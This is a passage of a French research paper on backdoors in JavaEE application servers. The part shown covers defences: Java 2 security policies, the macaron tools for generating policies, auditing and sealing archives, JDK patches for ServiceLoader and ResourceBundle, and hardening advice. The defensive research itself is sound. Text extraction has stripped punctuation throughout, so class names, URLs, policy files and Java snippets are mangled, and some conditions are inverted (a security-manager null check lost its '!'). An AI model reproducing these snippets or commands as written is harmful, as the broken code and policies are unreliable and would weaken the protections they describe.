JBoss ne propose pas nativement la securite Java 2 Le wiki11 indique commentmodifier le script de lancement pour ajouter les droits Il nrsquoest pas possible drsquoindiquerdes droits differents pour chaque composant ou chaque archive Les droits a ouvrirsont globaux a tous les composants et toutes les archives des composants car ledeploiement srsquoeffectue par defaut dans un repertoire dont le nom est aleatoire Ainsisans modification du deploiement de JBoss la porte derobee est pratiquement toujourspossible En ouvrant un droit pour un composant evolue les privileges sont egalementdisponibles pour les injections
51 Utilisation de la securite Java2
Il est difficile de connaıtre precisement lrsquoensemble des privileges necessaires achaque archive Les projets nrsquoindiquent generalement pas cette information
Pour remedier a cela et faciliter la prise en compte de la securite Java2 coteserveur nous proposons a tous les projets drsquoutiliser la convention suivante
ndash Pour chaque archive un fichier META-INFjarpolicy doit etre propose Cedernier indique a titre informatif les privileges minimum necessaires a lrsquoutili-sation du composant La syntaxe de ce fichier est conforme aux specificationsJava 12 Les privileges doivent etre indiques a titre global sans signedBy oucodeBase
Par exemple le fichier suivant indique des privileges pour une archive specifique
grant
permission javautilloggingLoggingPermission
control
permission javautilPropertyPermission
11 httpwwwjbossorgcommunitydocsDOC-938012 httpjavasuncomj2se13docsguidesecurityPolicyFileshtml
P Prados 427
javaiotmpdirread
permission javaioFilePermission
ltltALL FILES gtgtread write
permission javaioFilePermission
$javaiotmpdir read write delete
Lrsquoutilitaire macaron-policy que nous proposons permet alors drsquoagreger tous lesprivileges necessaires a un composant WAR ou EAR pour produire un fichier deprivilege complet Vous le trouverez avec drsquoautres utilitaires ici httpmacarongooglecodecom Il est capable de prendre en entree un composant JavaEE un fichierpolicy deja present ou une log de JVM executee avec la variable drsquoenvironnement-Djavasecuritydebug=accessfailure
Sur le site une video presente egalement un cas drsquoutilisation de cet outil
De ces trois sources drsquoinformations le programme extrait les privileges necessaireset peut egalement modifier directement un fichier policy existant
$ macaron -policy --output MonComposantpolicy
MonComposantear
Le fichier produit doit etre adapte au contexte drsquoexecution avant drsquoetre inseredans le serveur drsquoapplications
Comme le fichier resultat est generalement dependant du serveur drsquoapplicationil est parfois difficile de decrire les privileges globalement dans une archive sansadherence a un serveur particulier Pour contourner cela des variables peuvent etreutilisees dans les fichiers META-INFjarpolicy
Lors de la generation du fichier de politique de securite il est possible de lesvaloriser pour les specialiser pour le serveur drsquoapplications cible Nous proposons lesconventions suivantes
Tab 1 Variables de politique de securite
Variable Description
$serverhome Repertoire racine du serveur drsquoapplications$serverlib Repertoire des librairies du serveur drsquoapplications$webappbase Repertoire de base de deploiement des composants$webapphome Repertoire de deploiement du composant
Ainsi une archive desirant avoir un acces en ecriture dans le repertoire log durepertoire de deploiement du composant doit indiquer dans le fichier jarpolicy leprivilege suivant
428 Porte derobee dans les serveurs drsquoapplications JavaEE
grant
permission javaioFilePermission $webapphomelogread write
Lors de lrsquoexecution de lrsquoutilitaire les variables peuvent etre valorisees soit directe-ment par la ligne de commande (parametre -D classique) soit en indiquant un ouplusieurs fichiers de proprietes (parametre -P) Les variables non valorisees restentdisponibles Conformement aux specifications des fichiers policy elles devront etrevalorisees lors du lancement de la machine virtuelle par des variables systemes
Le fichier de propriete pour Tomcat est le suivant
serverhome=$catalinahome
serverlib=$catalinahome serverlib
webappsbase=file$catalinabase webapps
webappshome=$webappsbase$basename
La variable $basename est la seule inconnue de Tomcat Il faut la valoriser pourlrsquoadapter au nom du repertoire servant a deployer le composant Par defaut cettevariable est valorisee avec le nom du composant lui-meme mais cela peut etre modifieen ligne de commande
$ macaron -policy -P tomcatproperties
-Dbasename=sample
Vous pouvez egalement choisir de laisser cette variable en etat et la valoriser lorsdu lancement de la JVM du serveur drsquoapplication
$ macaron -policy -P tomcatproperties
-Dbasename=$basename
$ export JAVA_OPTS=- Dbasename=sample
$ $TOMCAT_HOMEbincatalinash run -security
Une invocation de lrsquooutil pour Tomcat ressemble lsquoa ceci
$ macaron -policy --output MonComposantpolicy
-P tomcatproperties MonComposantear
Le fichier produit peut avoir deux formes Il declare des privileges pour chaquearchive (recommande)
Privileges separes
grant codebase file$catalinabase webappsMonComposantWEB -INFlibl1jar
permission javautilloggingLoggingPermission control
permission javaioFilePermission -read write
grant codebase file$catalinabase webappsMonComposantWEB -INFlibl2jar
permission javautilPropertyPermission javaiotmpdirread
permission javaioFilePermission $javaiotmpdir read write delete
P Prados 429
ou tous les privileges globalement (parametre --merge )
Privileges globaux
grant
permission javautilloggingLoggingPermission control
permission javaioFilePermission -read write
permission javautilPropertyPermission javaiotmpdirread
permission javaioFilePermission $javaiotmpdir read write delete
Cela permet de traiter les serveurs drsquoapplications nrsquoetant pas capable de definirfinement les privileges JBoss par exemple utilise par defaut un repertoire aleatoirepour le deploiement Il est possible de supprimer cette fonctionnalite
La variable $prefix est utilisee en introduction du codebase avant le nomde lrsquoarchive Elle est valorisee par defaut a $webappshome pour repondre auxcomposants JavaEE En la modifiant il est possible drsquoexploiter les privileges pourdrsquoautres contextes drsquoexecutions une application Swing par exemple
Comme la plupart des archives nrsquoindiquent pas les privileges dont elles ont besoinet qursquoil est difficile de les identifier a priori nous proposons une base de donneecollaborative13 pour permettre a chacun de lrsquoalimenter
Lrsquoutilitaire recherche le fichier META-INFjarpolicy dans chaque composantSrsquoil ne le trouve pas une requete est envoyee a la base de donnee pour recuperer laderniere version des privileges publies Si le composant nrsquoest pas present dans la basede donnees le programme lrsquoignore et ne genere pas de privilege pour ce composant Sipar la suite vous souhaitez faire enregistrer les privileges identifies sur un composantparticulier inscrivez-vous sur le site et partagez votre decouverte
Vous pouvez construire votre propre base de donnees La variable drsquoenvironnementPOLICY DATABASE ou le parametre --database permettent drsquoindiquer le format delrsquoURL a utiliser La chaine de caracteres est convertie en nom de lrsquoarchive avantlrsquoinvocation
Les exemples suivants sont des URLs de base de politique valides ndash httplocalhostpolicyparam=
ndash httpslocalhost
ndash filedatabasepolicypolicy
ndash policypolicy
Une base dans un repertoire local peut donc etre utilisee aussi facilement qursquounebase distante sur HTTP ou HTTPS Il suffit drsquoavoir des fichiers comme spring-core-
-255jarpolicy avec les privileges necessaires dans le repertoire databasepolicyCela permet drsquoutiliser des privileges normalises au sein de lrsquoentreprise
13 httpmacaron-policygooglecodecom
430 Porte derobee dans les serveurs drsquoapplications JavaEE
Lrsquoutilitaire lui-meme respecte les conventions proposees Lrsquoarchive policy-jar
possede un fichier META-INFjarpolicy A titre de demonstration nous pouvonsappliquer lrsquoutilitaire a lui-meme
$ macaron -policy --merge --output securitypolicy
$MACARON_HOMElibpolicy -jar
Cette commande demande la generation drsquoun fichier securitypolicy avec tousles privileges declares dans le fichier META-INFjarpolicy presents dans lrsquoarchivepolicy-jar Nous souhaitons que les privileges soient declares globalement Nouspouvons immediatement utiliser le resultat pour relancer lrsquoutilitaire mais cette foisavec la securite Java2 activee
$ JAVA_OPT=-Djavasecuritymanager
-Djavasecuritypolicy=securitypolicy
macaron -policy --output -
$MACARON_HOMElibpolicy -jar
Les privileges demandes sont les suivants
grant
permission javautilloggingLoggingPermission control
permission javautilPropertyPermission
javaiotmpdirread
permission javaioFilePermission
ltltALL FILES gtgtread write
permission javaioFilePermission
$javaiotmpdir read write delete
permission javanetSocketPermission
80 connect resolve
permission javanetSocketPermission
443 connect resolve
permission javalangRuntimePermission
getenvPOLICY_DATABASE
Ils sont parfaitement conformes aux fonctionnalites de lrsquooutilPour enrichir un fichier existant il suffit de lrsquoindiquer dans le parametre --policy
Ainsi pour injecter directement les privileges dans le fichier de Tomcat vous pouvezutiliser la commande suivante
$ macaron -policy
--policy $CATALINA_HOMEconfcatalinapolicy
MonComposantwar
Les privileges extraits ne sont generalement pas suffisants Ils constituent unpremier jet a enrichir avec le contexte drsquoexecution Par exemple vous ne trouverezpas de privileges pour les connections reseaux dans les fichiers jarpolicy
P Prados 431
Pour identifier les problemes de securite ajoutez -Djavasecuritydebug=access-failure dans la ligne de commande de la JVM cela trace toutes les invocations Levolume de logs etant important il est preferable drsquoinjecter le resultat dans un fichier
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run
-security gtaccesslog 2gtamp1
La trace produite par la JVM lors de la presence du parametre javasecuritydebugnrsquoest pas tres lisible Elle est tres volumineuse et melange les privileges accordes desprivileges refuses
Il est possible de ne tracer qursquoun type de privilege limitant ainsi le volume destraces
-Djavasecuritydebug=access failure permission=javalangRuntimePermission
Ou bien de ne tracer que les privileges necessaires a un composant particulier
-Djavasecuritydebug =
access failure codebase =
file$TOMCAT_HOMEwebappssample
Un parametre de lrsquooutil macaron-policy permet une analyse des traces produiteslors de lrsquoutilisation de la variable javasecuritydebug
macaron -policy --accesslog accesslog
Cela permet drsquoinjecter les dernieres erreurs detectees lors de lrsquoabsence drsquounprivilege
$ macaron -policy
--accesslog accesslog
--policy $CATALINA_HOMEconfcatalinapolicy
$CATALINA_HOMEwebappsMonComposantwar
Comme les erreurs presentes dans les logs utilisent des codeBase sans variable leresultat produit nrsquoest pas exactement celui attendu dans le fichier catalinapolicyPour corriger cela lrsquooutil est capable de faire une analyse inverse de variable Crsquoest adire qursquoil detecte dans le codeBase srsquoil nrsquoexiste pas une valeur correspondant a unevariable Si crsquoest le cas il la remplace par le nom de la variable Pour cela il fautdeclarer des variables inverses a lrsquoaide du parametre -I
$ macaron -policy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME
--policy $CATALINA_HOMEconfcatalinapolicy
MonComposantwar
432 Porte derobee dans les serveurs drsquoapplications JavaEE
Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution
Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy
Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant
$ export
JAVA_OPTS=-Djavasecuritydebug=access failure
$ while [ true ] do
echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read
macaron -policy
-P tomcatproperties
--policy $CATALINA_HOMEconfcatalinapolicy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar
echo launch tomcat
$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1
done
Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract
en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi
$ macaron -policy
--loglevel info
--extract
--output mypolicydatabase
--policy $CATALINA_HOMEconfcatalinapolicy
Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum
Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires
P Prados 433
a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication
Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations
$ macaron -policy --help
52 Signature numerique
Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement
grant codebase foocom Signedby foo
Principal comsunsecurityauthSolarisPrincipal duke
permission javasecurityAllPermission
Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant
53 Defense passive
Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons
ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les
memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres
utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges
Un fichier au format XML permet de synthetiser les resultats
$ macaron -audit --output auditxml MonComposantear
$ firefox auditxml
434 Porte derobee dans les serveurs drsquoapplications JavaEE
Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats
Fig 14 Audit
Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs
archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc
ltpackages gt
ltpackage
name=orgaspectjinternallangannotationgt
ltcontext gtaspectjweaver -161 jarltcontext gt
ltcontext gtaspectjrt -160 jarltcontext gt
ltpackage gt
ltpackages gt
Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees
$ macaron -audit --output ignorexml MonComposantear
$ macaron -audit --ignore ignorexml
-output auditxml
MonComposantear
P Prados 435
Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement
ltfilenames gt
ltfilename name=MANIFESTMF gt
ltfilename name=INDEXLIST gt
ltfilename name=packagehtml gt
ltfilenames gt
Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques
Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses
ltdependency gt
ltgroupId gtorgspringframework ltgroupId gt
ltartifactId gtspring -aspects ltartifactId gt
ltversion gt255ltversion gt
ltexclusions gt
ltexclusion gt
ltgroupId gtorgaspectj ltgroupId gt
ltartifactId gtaspectjrt ltartifactId gt
ltexclusion gt
ltexclusions gt
ltdependency gt
Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml
Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2
54 Defense active
Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14
Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)
14 httpjavasuncomdeveloperJDCTechTips2001tt0130html
436 Porte derobee dans les serveurs drsquoapplications JavaEE
Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee
En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle
Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes
Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes
ltbuildgt
ltplugins gt
ltplugin gt
ltartifactId gtmaven -jar -plugin ltartifactId gt
ltconfiguration gt
ltarchive gt
ltmanifestEntries gt
ltSealed gttrueltSealed gt
ltmanifestEntries gt
ltarchive gt
ltconfiguration gt
ltplugin gt
ltplugins gt
ltbuildgt
Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe
Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)
$ macaron -seal --in -place MonComposantear
Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages
Pour plus drsquoinformations invoquez lrsquoaide
$ macaron -seal --help
15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing
P Prados 437
Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local
$ macaron -seal --in -place --sha1 -R m2repository
De meme pour un repository Ivy
$ macaron -seal --in -place -R ivy2cache
Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes
$ macaron -audit --output audit -tomcatxml
-R $CATALINA_HOME
$ macaron -seal --ignore audit -tomcatxml
-R $CATALINA_HOME --in -place
Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe
$ macaron -audit --output - -R $CATALINA_HOME |
macaron -seal --ignore - -R $CATALINA_HOME --in-place
La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges
$ $CATALINA_HOMEbincatalinash run -security
Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables
Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur
$ macaron -seal --audit sealedxml MonComposantwar
$ firefox sealedxml
438 Porte derobee dans les serveurs drsquoapplications JavaEE
55 Reduction du risque des META-INFservices
La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation
Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant
Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface
Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader
if (SystemgetSecurityManager ()=null)
final Permission perm=
new ServicePermission(servicegetName ())
AccessControllerdoPrivileged(
new PrivilegedAction ltObject gt()
public Object run()
if (clazzgetProtectionDomain ()implies(perm))
throw new AccessControlException(
install service denied perm perm)
return null
)
Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin
Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader
De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants
ndash comsunndash orgrelaxingdatatype
ndash sunmisc
P Prados 439
Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees
j2sesrc javautilServiceLoaderjava | 42 +-
j2sesrc javautilServicePermissionjava | 74 ++++
j2sesrc javaxxmlbindContextFinderjava | 66 ---
j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----
j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12
j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----
j2sesrc javaxxmlparsersSAXParserFactoryjava | 17
j2sesrc javaxxmlsoapFactoryFinderjava | 39 --
j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----
j2sesrc javaxxmltransformFactoryFinderjava | 86 ----
j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +
j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--
j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------
j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --
15 files changed 283 insertions (+) 646 deletions(-)
Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet
grant
permission javautilServicePermission
javaxxmlparsersSAXParserFactory
En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ServiceLocator -6jar
Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente
Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat
440 Porte derobee dans les serveurs drsquoapplications JavaEE
56 Reduction du risque des ResourcesBundles
Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles
Fig 15 Nouveau RessourceBundle
La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe
Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang
3Ajava
Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle
$ java -Xbootclasspathppatch -ResourceBundle -5 jar
Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources
static final ResourceBundleControl securityControl =
new ResourceBundleControl ()
private ConcurrentHashMap ltString String gt
cacheType=
new ConcurrentHashMap ltString String gt()
public List ltString gt getFormats(String baseName)
return CollectionsunmodifiableList(
P Prados 441
ArraysasList(securityorder))
public ResourceBundle newBundle(String baseName
Locale locale
String format ClassLoader loader
boolean reload)
throws IllegalAccessException
InstantiationException IOException
ResourceBundle bundle=null
if (formatequals(securityorder))
String lastFormat=cacheTypeget(baseName)
if (lastFormat ==null)
bundle=supernewBundle(baseName locale
javaproperties
loader reload)
if (bundle =null)
cacheTypeput(baseName javaproperties)
else
cacheTypeput(baseName javaclass)
bundle=supernewBundle(baseName locale
javaclass
loader reload)
else
bundle=supernewBundle(baseName locale
lastFormat
loader reload)
return bundle
public boolean needsReload(String baseName
Locale locale
String format
ClassLoader loader
ResourceBundle bundle
long loadTime)
boolean result=
superneedsReload(baseName locale
format loader bundle loadTime)
if (result)
cacheTyperemove(baseName)
return result
Il doit etre utilise a chaque invocation de RessourceBundle
442 Porte derobee dans les serveurs drsquoapplications JavaEE
ResourceBundlegetBundle(Messages securityControl)getString(key)
Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes
Un diffstat indique lrsquoetendu des modifications
ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------
1 file changed 58 insertions (+) 50 deletions(-)
Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ResourceBundle -6 jar
Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties
mv sampleproperties sampleprop
public static class sample extends PropertyResourceBundle
public sample () throws IOException
super(sampleclassgetResourceAsStream(
rsquorsquo+sampleclassgetName ()
replace(rsquorsquorsquorsquo)+prop))
6 Conseils pour se proteger
Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques
Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive
P Prados 443
Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access
Les logs indiquent les privileges accordes mais sont difficiles a interpreter
access access allowed (javalangRuntimePermission accessDeclaredMembers)
access access allowed(javaioFilePermissionwebappsbackdoorjee -sample
WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation
MethodHandlerAdapterBeanInfoclass read)access access denied (javalang
RuntimePermission defineClassInPackagejavalang)
Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir
Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques
Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo
Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration
La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)
Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active
Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en
ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation
16 httpmacaron-policygooglecodecom
444 Porte derobee dans les serveurs drsquoapplications JavaEE
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
Il est preferable drsquoutiliser les patchs proposes
Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite
Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail
7 Scenario du pire
Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible
